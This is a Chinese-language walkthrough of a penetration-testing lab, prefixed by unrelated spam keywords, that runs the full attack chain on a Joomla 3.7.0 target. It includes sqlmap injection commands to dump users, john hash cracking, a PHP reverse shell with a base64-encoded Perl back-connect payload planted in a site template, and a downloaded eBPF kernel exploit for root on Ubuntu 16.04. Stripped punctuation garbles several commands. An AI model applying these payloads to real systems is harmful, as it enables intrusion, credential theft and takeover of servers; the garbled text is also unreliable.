湖北省城建设计院网站,企业邮箱登陆登录入口官网,全球最大的网络公司排名,团购网站开发代码一、准备工作
1.靶场链接:
百度网盘 请输入提取码 提取码: 48d3
2.启动靶场后会遇到如下情况#xff1a; 2-1具体解决办法如下#xff1a; 启动成功
3.查看kali的ip#xff1a;ifconfig 二、信息收集
1.nmap的信息收集
#xff08;1#xff09;寻找靶机的ip#xf…一、准备工作
1.靶场链接:
百度网盘 请输入提取码 提取码: 48d3
2.启动靶场后会遇到如下情况 2-1具体解决办法如下 启动成功
3.查看kali的ipifconfig 二、信息收集
1.nmap的信息收集
1寻找靶机的ip发现靶机地址为192.168.101.116 命令nmap 192.168.101.0/24 2端口扫描 命令nmap -A -P- 192.168.101.116 3脚本扫描 命令nmap --scriptvuln 192.168.101.116 2.扫描登录网址
使用dirb扫描发现一个登录网站http://192.168.101.116/administrator/ 命令dirb http://192.168.101.116 三、漏洞探测
1.探索到joomla 3.7.0的数据库命令searchsploit joomla 3.7.0
2.注入漏洞编号为42033命令searchsploit -p 42033.txt
3.把漏洞文件复制到root下命令sudo cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root 查看42033.txt命令su root、cat 42033.txt
四、漏洞利用
1.数据库注入攻击 (1)具体操作sqlmap -u http://192.168.101.116/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent --dbs -p list[fullordering] 使用sqlmap自动注入工具对靶机执行sql注入代码, 查出5个数据库信息 (2)注入查询当前靶机正在使用的数据库为joomladb 命令sqlmap -u http://192.168.101.116/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent --dbs -p list[fullordering] -D joomladb --tables (3)查询user数据表命令sqlmap -u http://192.168.101.116/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent -D joomladb -T #__users --columns -p list[fullordering] 探测到users表的列名:password、username (4)查看password列以及对应的username 命令sqlmap -u http://192.168.101.116/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent -D joomladb -T #__users -C name,password --dump -p list[fullordering] 2.用john给密码哈希值解密
5获得网站后台登录用户名admin和密码hash值
admin 、$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
方法一
将密文保存到文件Joomla370-136-admin-hash中命令vim Joomla370-136-admin-hash 使用john爆破hash值得到密码snoopy命令john Joomla370-136-admin-hash 方法二
1.创建一个txt文件将密码hash值放入命令vim swn.txt
2.john解密命令john --wordlistrockyou.txt swn.txt
3.查看解出的密码命令john swn.txt --show 用得出的用户密码登录之前发现的一个登录网站http://192.168.101.116/administrator/ 登录后台成功
点开网页模板选择第二个模板 反弹shell
1写入反向连接的php代码 源码 ?php function which($pr) { $path execute(which $pr); return ($path ? $path : $pr); } function execute($cfe) { $res ; if ($cfe) { if(function_exists(exec)) { exec($cfe,$res); $res join(\n,$res); } elseif(function_exists(shell_exec)) { $res shell_exec($cfe); } elseif(function_exists(system)) { ob_start(); system($cfe); $res ob_get_contents(); ob_end_clean(); } elseif(function_exists(passthru)) { ob_start(); passthru($cfe); $res ob_get_contents(); ob_end_clean(); } elseif(is_resource($f popen($cfe,r))) { $res ; while(!feof($f)) { $res . fread($f,1024); } pclose($f); } } return $res; } function cf($fname,$text){ if($fpfopen($fname,w)) { fputs($fp,base64_decode($text)); fclose($fp); } } $yourip 192.168.101.10; $yourport 4444; $usedb array(perlperl,cc); $back_connectIyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw; cf(/tmp/.bc,$back_connect); $res execute(which(perl). /tmp/.bc $yourip $yourport ); ? 2访问刚才的写的phphttp://192.168.101.116//templates/protostar//index.php 3kali开启监听nc -lvvp 4444 4优化命令执行终端执行下面命令进入python交互式(注意要下载python环境才能运行): python -c ‘import pty;pty.spawn(“/bin/bash”)’ 3.提权
1查看靶机当前的操作系统版本 lsb_release -a 2在kali里面寻找Ubuntu 16.04版本的漏洞 命令searchsploit Ubuntu 16.04 3 下载exp将里面的exploit.tar上传并解压运行 命令wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip 1.解压39772.zip文件命令unzip 39772.zip 2.进入到39772目录下解压exploit提权脚本tar包命令cd 39772、tar -xvf explit.tar 3.进入到ebpf_mapfd_doubleput_exploit 下面执行命令./compile.sh 4. 执行代码进行提权运行完毕获取root权限发现flag 命令./doubleput 获取到root权限并发现the-flag.txt文件